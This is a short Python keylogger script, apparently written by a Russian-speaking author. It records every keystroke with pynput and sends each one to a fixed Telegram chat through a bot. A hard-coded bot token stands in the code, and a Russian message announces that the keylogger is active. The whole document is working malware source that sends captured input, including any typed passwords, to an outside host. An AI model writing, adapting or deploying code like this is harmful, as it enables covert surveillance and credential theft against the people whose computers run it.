import telebot
from pynput import keyboard

bot = telebot.TeleBot("6774855529:AAH0TZidpu-7Hql83dO71_1OLGLEPlPlBQ8")

@bot.message_handler(commands=['start'])
def start_message(message):
    bot.send_message(message.chat.id, "Кейлогер активирован. Логи будут отправлены вам в телеграмм.")

def on_press(key):
    try:
        bot.send_message("7033336826", str(key))
    except Exception as e:
        print(e)

def on_release(key):
    if key == keyboard.Key.esc:
        return False

with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
    bot.polling()
    listener.join()